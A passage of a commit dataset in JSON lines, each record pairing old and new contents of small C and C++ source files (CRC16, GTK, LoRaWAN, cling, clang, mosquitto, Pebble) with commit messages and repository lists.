)\n{\n\t\/\/Calculate CRC16 checksum using given data and length\n\n\tuint16_t CRC = 0xFFFF;\n\tuint16_t i;\n\tuint8_t j;\n\n\tfor ( i = 0; i < Length; i++ )\n\t{\n\t\tCRC ^= (uint16_t) Data[i]; \/\/XOR current data byte with CRC value\n\n\t\tfor ( j = 8; j != 0; j-- )\n\t\t{\n\t\t\t\/\/For each bit\n\t\t\t\/\/Is least-significant-bit is set?\n    \t\tif ( ( CRC & 0x0001 ) != 0 )\n\t\t\t{\n    \t\t\tCRC >>= 1; \/\/Shift to right and xor\n    \t\t\tCRC ^= 0xA001;\n    \t\t}\n    \t\telse\n    \t\t\tCRC >>= 1;\n\t\t}\n\t}\n\treturn CRC;\n}\n","subject":"Add cast to uint16_t in CRC function","message":"Add cast to uint16_t in CRC function\n","lang":"C","license":"mit","repos":"Jacajack\/modlib"}
{"commit":"2240257c7f7cb075b43e844bae0749bd59005c80","old_file":"src\/GNSMenuDelegate.h","new_file":"src\/GNSMenuDelegate.h","old_contents":"#import <Cocoa\/Cocoa.h>\n#include <gtk\/gtk.h>\n\n#if (MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_6)\n@interface _GNSMenuDelegate : NSObject <NSMenuDelegate> {}\n#else\n@interface _GNSMenuDelegate : NSObject {}\n#endif\n@end\n","new_contents":"#import <Cocoa\/Cocoa.h>\n#include <gtk\/gtk.h>\n\n#if (MAC_OS_X_VERSION_MIN_REQUIRED > MAC_OS_X_VERSION_10_5)\n@interface _GNSMenuDelegate : NSObject <NSMenuDelegate> {}\n#else\n@interface _GNSMenuDelegate : NSObject {}\n#endif\n@end\n","subject":"Fix minimum version to one that exists in 10.5","message":"Fix minimum version to one that exists in 10.5\n","lang":"C","license":"lgpl-2.1","repos":"sharoonthomas\/gtk-mac-integration,GNOME\/gtk-mac-integration,jralls\/gtk-mac-integration,GNOME\/gtk-mac-integration,jralls\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,GNOME\/gtk-mac-integration,jralls\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration"}
{"commit":"b94bcd4c0aa74f4f963aec368f8417add005fafe","old_file":"lilthumb.h","new_file":"lilthumb.h","old_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\nnamespace lilthumb{\n\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n}\n\n#define logger(stream,message) stream << lilthumb::timeString() << \" | \"<< message << std::endl;\n#endif\n","new_contents":"#ifndef lilthumb\n#define lilthumb\n\n#include <ctime>\n#include <ostream>\n\nnamespace lilthumb{\n\nstd::string timeString()\n{\n  time_t rawtime;\n  struct tm * timeinfo;\n  char buffer[80];\n\n  time (&rawtime);\n  timeinfo = localtime(&rawtime);\n\n  strftime(buffer,80,\"%d-%m-%Y %I:%M:%S\",timeinfo);\n  std::string str(buffer);\n\n  return str;\n}\n\nvoid stone( std::ostream& stream, std::string message )\n{\n  stream << timeString() << \" | \" << message << std::endl;\n}\n\n}\n\n#endif\n","subject":"Change logger define to namespace stone function","message":"Change logger define to namespace stone function\n","lang":"C","license":"apache-2.0","repos":"jeromevelut\/lilthumb"}
{"commit":"3ea520fdbc396ba8d1b859b669d8c16ee34820ad","old_file":"util\/parser\/conf.h","new_file":"util\/parser\/conf.h","old_contents":"#ifndef __LWP_CONFIG_H\r\n#define __LWP_CONFIG_H\r\n\r\n#include <stdint.h>\r\n#include <stdbool.h>\r\n\r\ntypedef enum{\r\n    CFLAG_NWKSKEY = (1<<0),\r\n    CFLAG_APPSKEY = (1<<1),\r\n    CFLAG_APPKEY  = (1<<2),\r\n    CFLAG_JOINR   = (1<<3),\r\n    CFLAG_JOINA   = (1<<4),\r\n}config_flag_t;\r\n\r\ntypedef struct message{\r\n    uint8_t *buf;\r\n    int16_t len;\r\n    struct message *next;\r\n}message_t;\r\n\r\ntypedef struct{\r\n    uint32_t flag;\r\n    uint8_t nwkskey[16];\r\n    uint8_t appskey[16];\r\n    uint8_t appkey[16];\r\n    uint8_t band;\r\n    bool joinkey;\r\n    uint8_t *joinr;\r\n    uint8_t joinr_size;\r\n    uint8_t *joina;\r\n    uint8_t joina_size;\r\n    message_t *message;\r\n    message_t *maccmd;\r\n}config_t;\r\n\r\n\r\nint config_parse(const char *file, config_t *config);\r\nvoid config_free(config_t *config);\r\n\r\n#endif \/\/ __CONFIG_H\r\n","new_contents":"#ifndef __LWP_CONFIG_H\r\n#define __LWP_CONFIG_H\r\n\r\n#include <stdint.h>\r\n#include <stdbool.h>\r\n\r\ntypedef enum{\r\n    CFLAG_NWKSKEY = (1<<0),\r\n    CFLAG_APPSKEY = (1<<1),\r\n    CFLAG_APPKEY  = (1<<2),\r\n    CFLAG_JOINR   = (1<<3),\r\n    CFLAG_JOINA   = (1<<4),\r\n}config_flag_t;\r\n\r\ntypedef struct message{\r\n    uint8_t *buf;\r\n    int16_t len;\r\n    struct message *next;\r\n}message_t;\r\n\r\ntypedef struct motes_abp{\r\n    uint8_t band;\r\n    uint8_t devaddr[4];\r\n    uint8_t nwkskey[16];\r\n    uint8_t appskey[16];\r\n    struct message *next;\r\n}motes_abp_t;\r\n\r\ntypedef struct motes_abp{\r\n    uint8_t band;\r\n    uint8_t devaddr[4];\r\n    uint8_t nwkskey[16];\r\n    uint8_t appskey[16];\r\n    struct message *next;\r\n}motes_abp_t;\r\n\r\ntypedef struct{\r\n    uint32_t flag;\r\n    uint8_t nwkskey[16];\r\n    uint8_t appskey[16];\r\n    uint8_t appkey[16];\r\n    uint8_t band;\r\n    bool joinkey;\r\n    uint8_t *joinr;\r\n    uint8_t joinr_size;\r\n    uint8_t *joina;\r\n    uint8_t joina_size;\r\n    message_t *message;\r\n    message_t *maccmd;\r\n}config_t;\r\n\r\n\r\nint config_parse(const char *file, config_t *config);\r\nvoid config_free(config_t *config);\r\n\r\n#endif \/\/ __CONFIG_H\r\n","subject":"Add motes_abp and motes_otaa link list structure definition.","message":"Add motes_abp and motes_otaa link list structure definition.\n","lang":"C","license":"mit","repos":"JiapengLi\/lorawan-parser,JiapengLi\/lorawan-parser"}
{"commit":"053300cfd6d2800cd3f744b1ffe4deca6c04082c","old_file":"interpreter\/cling\/include\/cling\/Interpreter\/RuntimeExceptions.h","new_file":"interpreter\/cling\/include\/cling\/Interpreter\/RuntimeExceptions.h","old_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_RUNTIME_EXCEPTIONS_H\n#define CLING_RUNTIME_EXCEPTIONS_H\nnamespace cling {\n  namespace runtime {\n    \/\/\/\\brief Exception that is thrown when a null pointer dereference is found\n    \/\/\/ or a method taking non-null arguments is called with NULL argument.\n    \/\/\/ \n    class cling_null_deref_exception { };    \n  } \/\/ end namespace runtime\n} \/\/ end namespace cling\n#endif \/\/ CLING_RUNTIME_EXCEPTIONS_H \n","new_contents":"\/\/--------------------------------------------------------------------*- C++ -*-\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ version: $Id$\n\/\/ author:  Vassil Vassilev <vasil.georgiev.vasilev@cern.ch>\n\/\/------------------------------------------------------------------------------\n\n#ifndef CLING_RUNTIME_EXCEPTIONS_H\n#define CLING_RUNTIME_EXCEPTIONS_H\nnamespace clang {\n  class Sema;\n}\nnamespace cling {\n  namespace runtime {\n    \/\/\/\\brief Exception that is thrown when a null pointer dereference is found\n    \/\/\/ or a method taking non-null arguments is called with NULL argument.\n    \/\/\/ \n    class cling_null_deref_exception {\n    private:\n      unsigned m_Location;\n      clang::Sema* m_Sema;\n    public:\n      cling_null_deref_exception(void* Loc, clang::Sema* S);\n      ~cling_null_deref_exception();\n\n      void what() throw();\n\n    };    \n  } \/\/ end namespace runtime\n} \/\/ end namespace cling\n#endif \/\/ CLING_RUNTIME_EXCEPTIONS_H \n","subject":"Add missing header method declarations.","message":"Add missing header method declarations.\n","lang":"C","license":"lgpl-2.1","repos":"sirinath\/root,esakellari\/root,gganis\/root,omazapa\/root-old,cxx-hep\/root-cern,CristinaCristescu\/root,nilqed\/root,CristinaCristescu\/root,root-mirror\/root,sbinet\/cxx-root,gganis\/root,sawenzel\/root,mattkretz\/root,thomaskeck\/root,buuck\/root,abhinavmoudgil95\/root,veprbl\/root,esakellari\/root,agarciamontoro\/root,pspe\/root,omazapa\/root,buuck\/root,beniz\/root,pspe\/root,dfunke\/root,0x0all\/ROOT,CristinaCristescu\/root,abhinavmoudgil95\/root,veprbl\/root,root-mirror\/root,evgeny-boger\/root,nilqed\/root,krafczyk\/root,veprbl\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,georgtroska\/root,CristinaCristescu\/root,alexschlueter\/cern-root,CristinaCristescu\/root,omazapa\/root-old,mattkretz\/root,perovic\/root,Duraznos\/root,omazapa\/root,smarinac\/root,esakellari\/my_root_for_test,jrtomps\/root,sirinath\/root,smarinac\/root,root-mirror\/root,esakellari\/my_root_for_test,0x0all\/ROOT,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,smarinac\/root,abhinavmoudgil95\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,alexschlueter\/cern-root,lgiommi\/root,lgiommi\/root,vukasinmilosevic\/root,dfunke\/root,zzxuanyuan\/root,omazapa\/root,mkret2\/root,pspe\/root,buuck\/root,pspe\/root,arch1tect0r\/root,root-mirror\/root,abhinavmoudgil95\/root,mattkretz\/root,krafczyk\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,karies\/root,nilqed\/root,davidlt\/root,georgtroska\/root,buuck\/root,cxx-hep\/root-cern,BerserkerTroll\/root,olifre\/root,simonpf\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,perovic\/root,omazapa\/root-old,dfunke\/root,beniz\/root,omazapa\/root,mhuwiler\/rootauto,arch1tect0r\/root,satyarth934\/root,esakellari\/my_root_for_test,0x0all\/ROOT,root-mirror\/root,omazapa\/root,vukasinmilosevic\/root,Y--\/root,omazapa\/root-old,mattkretz\/root,Duraznos\/root,sawenzel\/root,gbitzes\/root,beniz\/root,mattkretz\/root,perovic\/root,BerserkerTroll\/root,smarinac\/root,lgiommi\/root,bbockelm\/root,georgtroska\/root,sbinet\/cxx-root,evgeny-boger\/root,veprbl\/root,gganis\/root,buuck\/root,smarinac\/root,mkret2\/root,olifre\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,gbitzes\/root,smarinac\/root,thomaskeck\/root,karies\/root,agarciamontoro\/root,omazapa\/root,sirinath\/root,olifre\/root,vukasinmilosevic\/root,abhinavmoudgil95\/root,sirinath\/root,arch1tect0r\/root,beniz\/root,abhinavmoudgil95\/root,karies\/root,sirinath\/root,zzxuanyuan\/root,Duraznos\/root,smarinac\/root,esakellari\/my_root_for_test,agarciamontoro\/root,nilqed\/root,mhuwiler\/rootauto,omazapa\/root-old,arch1tect0r\/root,arch1tect0r\/root,gbitzes\/root,Duraznos\/root,dfunke\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,gbitzes\/root,bbockelm\/root,thomaskeck\/root,olifre\/root,veprbl\/root,vukasinmilosevic\/root,root-mirror\/root,jrtomps\/root,mhuwiler\/rootauto,sirinath\/root,BerserkerTroll\/root,omazapa\/root-old,CristinaCristescu\/root,nilqed\/root,sirinath\/root,gganis\/root,georgtroska\/root,nilqed\/root,BerserkerTroll\/root,mattkretz\/root,gbitzes\/root,dfunke\/root,zzxuanyuan\/root,krafczyk\/root,cxx-hep\/root-cern,Duraznos\/root,beniz\/root,sawenzel\/root,georgtroska\/root,arch1tect0r\/root,evgeny-boger\/root,gganis\/root,buuck\/root,satyarth934\/root,davidlt\/root,veprbl\/root,mhuwiler\/rootauto,Duraznos\/root,veprbl\/root,sawenzel\/root,evgeny-boger\/root,Y--\/root,jrtomps\/root,Duraznos\/root,bbockelm\/root,zzxuanyuan\/root,arch1tect0r\/root,bbockelm\/root,omazapa\/root,thomaskeck\/root,vukasinmilosevic\/root,agarciamontoro\/root,bbockelm\/root,simonpf\/root,root-mirror\/root,cxx-hep\/root-cern,esakellari\/my_root_for_test,dfunke\/root,davidlt\/root,abhinavmoudgil95\/root,mattkretz\/root,Y--\/root,mhuwiler\/rootauto,esakellari\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,perovic\/root,simonpf\/root,omazapa\/root-old,jrtomps\/root,mkret2\/root,perovic\/root,vukasinmilosevic\/root,gganis\/root,jrtomps\/root,abhinavmoudgil95\/root,sbinet\/cxx-root,mattkretz\/root,karies\/root,CristinaCristescu\/root,mkret2\/root,Y--\/root,dfunke\/root,agarciamontoro\/root,nilqed\/root,jrtomps\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,sbinet\/cxx-root,Duraznos\/root,esakellari\/root,nilqed\/root,olifre\/root,evgeny-boger\/root,thomaskeck\/root,gbitzes\/root,omazapa\/root-old,mkret2\/root,simonpf\/root,mhuwiler\/rootauto,olifre\/root,0x0all\/ROOT,root-mirror\/root,beniz\/root,satyarth934\/root,0x0all\/ROOT,sirinath\/root,CristinaCristescu\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,arch1tect0r\/root,sawenzel\/root,Duraznos\/root,simonpf\/root,davidlt\/root,Y--\/root,nilqed\/root,buuck\/root,karies\/root,vukasinmilosevic\/root,mkret2\/root,davidlt\/root,veprbl\/root,mhuwiler\/rootauto,BerserkerTroll\/root,pspe\/root,smarinac\/root,mhuwiler\/rootauto,omazapa\/root,lgiommi\/root,Y--\/root,arch1tect0r\/root,olifre\/root,esakellari\/my_root_for_test,bbockelm\/root,sawenzel\/root,georgtroska\/root,esakellari\/root,alexschlueter\/cern-root,jrtomps\/root,karies\/root,pspe\/root,davidlt\/root,root-mirror\/root,agarciamontoro\/root,gbitzes\/root,vukasinmilosevic\/root,sbinet\/cxx-root,sirinath\/root,Y--\/root,cxx-hep\/root-cern,krafczyk\/root,esakellari\/root,perovic\/root,sbinet\/cxx-root,root-mirror\/root,esakellari\/my_root_for_test,0x0all\/ROOT,karies\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,Duraznos\/root,evgeny-boger\/root,CristinaCristescu\/root,gganis\/root,jrtomps\/root,lgiommi\/root,pspe\/root,gbitzes\/root,mattkretz\/root,CristinaCristescu\/root,arch1tect0r\/root,omazapa\/root,esakellari\/root,dfunke\/root,olifre\/root,veprbl\/root,veprbl\/root,sawenzel\/root,krafczyk\/root,cxx-hep\/root-cern,krafczyk\/root,Y--\/root,simonpf\/root,evgeny-boger\/root,zzxuanyuan\/root,beniz\/root,lgiommi\/root,gganis\/root,davidlt\/root,vukasinmilosevic\/root,dfunke\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,sirinath\/root,georgtroska\/root,sawenzel\/root,cxx-hep\/root-cern,thomaskeck\/root,buuck\/root,root-mirror\/root,agarciamontoro\/root,sawenzel\/root,zzxuanyuan\/root,sbinet\/cxx-root,omazapa\/root,Duraznos\/root,satyarth934\/root,perovic\/root,perovic\/root,esakellari\/my_root_for_test,veprbl\/root,krafczyk\/root,simonpf\/root,Y--\/root,krafczyk\/root,simonpf\/root,krafczyk\/root,abhinavmoudgil95\/root,sawenzel\/root,omazapa\/root,gganis\/root,jrtomps\/root,thomaskeck\/root,olifre\/root,dfunke\/root,davidlt\/root,evgeny-boger\/root,thomaskeck\/root,zzxuanyuan\/root,gbitzes\/root,mkret2\/root,agarciamontoro\/root,agarciamontoro\/root,bbockelm\/root,lgiommi\/root,satyarth934\/root,mattkretz\/root,alexschlueter\/cern-root,karies\/root,mattkretz\/root,mkret2\/root,pspe\/root,buuck\/root,jrtomps\/root,Y--\/root,alexschlueter\/cern-root,evgeny-boger\/root,mhuwiler\/rootauto,agarciamontoro\/root,zzxuanyuan\/root-compressor-dummy,thomaskeck\/root,agarciamontoro\/root,0x0all\/ROOT,gganis\/root,sbinet\/cxx-root,smarinac\/root,zzxuanyuan\/root-compressor-dummy,krafczyk\/root,BerserkerTroll\/root,perovic\/root,BerserkerTroll\/root,evgeny-boger\/root,esakellari\/root,simonpf\/root,olifre\/root,gbitzes\/root,sbinet\/cxx-root,0x0all\/ROOT,mkret2\/root,zzxuanyuan\/root,davidlt\/root,omazapa\/root-old,dfunke\/root,zzxuanyuan\/root,georgtroska\/root,satyarth934\/root,BerserkerTroll\/root,buuck\/root,omazapa\/root-old,karies\/root,beniz\/root,nilqed\/root,arch1tect0r\/root,bbockelm\/root,zzxuanyuan\/root,bbockelm\/root,gbitzes\/root,sirinath\/root,BerserkerTroll\/root,cxx-hep\/root-cern,satyarth934\/root,alexschlueter\/cern-root,beniz\/root,perovic\/root,karies\/root,smarinac\/root,satyarth934\/root,satyarth934\/root,bbockelm\/root,bbockelm\/root,mhuwiler\/rootauto,0x0all\/ROOT,evgeny-boger\/root,lgiommi\/root,karies\/root,pspe\/root,davidlt\/root,lgiommi\/root,nilqed\/root,georgtroska\/root,simonpf\/root,esakellari\/root,alexschlueter\/cern-root,sawenzel\/root,perovic\/root,vukasinmilosevic\/root,vukasinmilosevic\/root,mkret2\/root,pspe\/root,krafczyk\/root,abhinavmoudgil95\/root,omazapa\/root-old,sbinet\/cxx-root,jrtomps\/root,CristinaCristescu\/root,georgtroska\/root,buuck\/root,mkret2\/root,georgtroska\/root,lgiommi\/root,gganis\/root,zzxuanyuan\/root,mhuwiler\/rootauto,olifre\/root,simonpf\/root,esakellari\/root,thomaskeck\/root"}
{"commit":"aa81908f7a649ade93036b5f30b91307e20cb464","old_file":"include\/clang\/Rewrite\/ASTConsumers.h","new_file":"include\/clang\/Rewrite\/ASTConsumers.h","old_contents":"\/\/===--- ASTConsumers.h - ASTConsumer implementations -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ AST Consumers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef REWRITE_ASTCONSUMERS_H\n#define REWRITE_ASTCONSUMERS_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\nnamespace clang {\n\nclass ASTConsumer;\nclass Diagnostic;\nclass LangOptions;\nclass Preprocessor;\n\n\/\/ ObjC rewriter: attempts tp rewrite ObjC constructs into pure C code.\n\/\/ This is considered experimental, and only works with Apple's ObjC runtime.\nASTConsumer *CreateObjCRewriter(const std::string &InFile,\n                                llvm::raw_ostream *OS,\n                                Diagnostic &Diags,\n                                const LangOptions &LOpts,\n                                bool SilenceRewriteMacroWarning);\n\n\/\/\/ CreateHTMLPrinter - Create an AST consumer which rewrites source code to\n\/\/\/ HTML with syntax highlighting suitable for viewing in a web-browser.\nASTConsumer *CreateHTMLPrinter(llvm::raw_ostream *OS, Preprocessor &PP,\n                               bool SyntaxHighlight = true,\n                               bool HighlightMacros = true);\n\n} \/\/ end clang namespace\n\n#endif\n","new_contents":"\/\/===--- ASTConsumers.h - ASTConsumer implementations -----------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ AST Consumers.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef REWRITE_ASTCONSUMERS_H\n#define REWRITE_ASTCONSUMERS_H\n\n#include <string>\n\nnamespace llvm {\n  class raw_ostream;\n}\nnamespace clang {\n\nclass ASTConsumer;\nclass Diagnostic;\nclass LangOptions;\nclass Preprocessor;\n\n\/\/ ObjC rewriter: attempts to rewrite ObjC constructs into pure C code.\n\/\/ This is considered experimental, and only works with Apple's ObjC runtime.\nASTConsumer *CreateObjCRewriter(const std::string &InFile,\n                                llvm::raw_ostream *OS,\n                                Diagnostic &Diags,\n                                const LangOptions &LOpts,\n                                bool SilenceRewriteMacroWarning);\n\n\/\/\/ CreateHTMLPrinter - Create an AST consumer which rewrites source code to\n\/\/\/ HTML with syntax highlighting suitable for viewing in a web-browser.\nASTConsumer *CreateHTMLPrinter(llvm::raw_ostream *OS, Preprocessor &PP,\n                               bool SyntaxHighlight = true,\n                               bool HighlightMacros = true);\n\n} \/\/ end clang namespace\n\n#endif\n","subject":"Fix typo spotted by Nico Weber.","message":"Fix typo spotted by Nico Weber.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@117870 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"3a5041e79cbd70903d43608296e5b74e6473bd13","old_file":"config.h","new_file":"config.h","old_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n","new_contents":"\/* Uncomment to compile with tcpd\/libwrap support. *\/\n\/\/#define WITH_WRAP\n\n\/* Compile with database upgrading support? If disabled, mosquitto won't\n * automatically upgrade old database versions. *\/\n\/\/#define WITH_DB_UPGRADE\n\n\/* Compile with memory tracking support? If disabled, mosquitto won't track\n * heap memory usage nor export '$SYS\/broker\/heap\/current size', but will use\n * slightly less memory and CPU time. *\/\n#define WITH_MEMORY_TRACKING\n","subject":"Disable db upgrade code for the moment.","message":"Disable db upgrade code for the moment.\n","lang":"C","license":"bsd-3-clause","repos":"tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto,tempbottle\/mosquitto"}
{"commit":"d3e46ddf119944613580925c30d38a0dfa8f380e","old_file":"test\/CodeGen\/pr5406.c","new_file":"test\/CodeGen\/pr5406.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -O0 -o - | FileCheck %s\n\/\/ PR 5406\n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\ntypedef struct { char x[3]; } A0;\nvoid foo (int i, ...);\n\n\n\/\/ CHECK: call void (i32, ...)* @foo(i32 1, i32 {{.*}}) nounwind\nint main (void)\n{\n  A0 a3;\n  a3.x[0] = 0;\n  a3.x[0] = 0;\n  a3.x[2] = 26;\n  foo (1,  a3 );\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -triple arm-apple-darwin -o - | FileCheck %s\n\/\/ PR 5406\n\ntypedef struct { char x[3]; } A0;\nvoid foo (int i, ...);\n\n\n\/\/ CHECK: call arm_aapcscc  void (i32, ...)* @foo(i32 1, [1 x i32] {{.*}})\nint main (void)\n{\n  A0 a3;\n  a3.x[0] = 0;\n  a3.x[0] = 0;\n  a3.x[2] = 26;\n  foo (1,  a3 );\n  return 0;\n}\n","subject":"Add a triple to this test and make sure it passes on arm where it was supposed to.","message":"Add a triple to this test and make sure it passes on arm where it was\nsupposed to.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136305 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"56b0b9bc9059bb25a5d7ea2ab8723f63fe1fed9f","old_file":"src\/Pomade.c","new_file":"src\/Pomade.c","old_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n#define MY_UUID { 0x78, 0x1D, 0x21, 0x66, 0x09, 0x09, 0x4F, 0x9C, 0x88, 0xFD, 0x89, 0x9B, 0x04, 0xBF, 0x5E, 0x32 }\n\nPBL_APP_INFO(MY_UUID,\n             \"Pomade\", \"Jon Speicher\",\n             0, 1, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\n\nvoid handle_init(AppContextRef ctx) {\n  window_init(&window, \"Pomade\");\n  window_stack_push(&window, true \/* Animated *\/);\n}\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init\n  };\n  app_event_loop(params, &handlers);\n}\n","new_contents":"#include \"pebble_os.h\"\n#include \"pebble_app.h\"\n#include \"pebble_fonts.h\"\n\n#define MY_UUID { 0x78, 0x1D, 0x21, 0x66, 0x09, 0x09, 0x4F, 0x9C, 0x88, 0xFD, 0x89, 0x9B, 0x04, 0xBF, 0x5E, 0x32 }\n\nPBL_APP_INFO(MY_UUID,\n             \"Pomade\", \"Jon Speicher\",\n             0, 1, \/* App version *\/\n             DEFAULT_MENU_ICON,\n             APP_INFO_STANDARD_APP);\n\nWindow window;\nTextLayer timerLayer;\n\nAppTimerHandle timer_handle;\n#define COOKIE_MY_TIMER 1\n\nvoid handle_timer(AppContextRef ctx, AppTimerHandle handle, uint32_t cookie) {\n\n  if (cookie == COOKIE_MY_TIMER) {\n      text_layer_set_text(&timerLayer, \"Timer happened!\");\n  }\n\n  \/\/ If you want the timer to run again you need to call `app_timer_send_event()`\n  \/\/ again here.\n}\n\nvoid handle_init(AppContextRef ctx) {\n  window_init(&window, \"Pomade\");\n  window_stack_push(&window, true \/* Animated *\/);\n\n  text_layer_init(&timerLayer, window.layer.frame);\n  text_layer_set_text(&timerLayer, \"Waiting for timer...\");\n  layer_add_child(&window.layer, &timerLayer.layer);\n\n  timer_handle = app_timer_send_event(ctx, 1500 \/* milliseconds *\/, COOKIE_MY_TIMER);\n}\n\nvoid pbl_main(void *params) {\n  PebbleAppHandlers handlers = {\n    .init_handler = &handle_init,\n    .timer_handler = &handle_timer\n  };\n  app_event_loop(params, &handlers);\n}\n","subject":"Add framework timer code from Pebble feature_timer demo app","message":"Add framework timer code from Pebble feature_timer demo app\n","lang":"C","license":"mit","repos":"jonspeicher\/Pomade,jonspeicher\/Pomade,elliots\/simple-demo-pebble"}
{"commit":"ad5ea012eb6f9ce2ce2ef182a17aab0697e1737d","old_file":"fq\/linked_list_queue.h","new_file":"fq\/linked_list_queue.h","old_contents":"","new_contents":"\n\/*\n * Copyright 2017 Brandon Yannoni\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef LINKED_LIST_QUEUE_H\n#define LINKED_LIST_QUEUE_H\n\n#include <pthread.h>\n\n#include \"..\/function_queue.h\"\n#include \"..\/qterror.h\"\n\n\/*\n * This structure is a linked list node structure for function queue\n * elements.\n *\/\nstruct fqellnode {\n\tstruct function_queue_element element; \/* the element value *\/\n\tstruct fqellnode* next; \/* the address of the next node *\/\n};\n\n\/*\n * This structure is used to store the function queue elements and any\n * persistant data necessary for the manipulation procedures.\n *\/\nstruct fqlinkedlist {\n\tstruct fqellnode* head; \/* a pointer to the head of the list *\/\n\tstruct fqellnode* tail; \/* a pointer to the tail of the list *\/\n\tsize_t size; \/* current number of elements *\/\n};\n\nextern const struct fqdispatchtable fqdispatchtablell;\n\n#endif\n\n","subject":"Add header file for linked list queue","message":"Add header file for linked list queue\n","lang":"C","license":"apache-2.0","repos":"byannoni\/qthreads"}
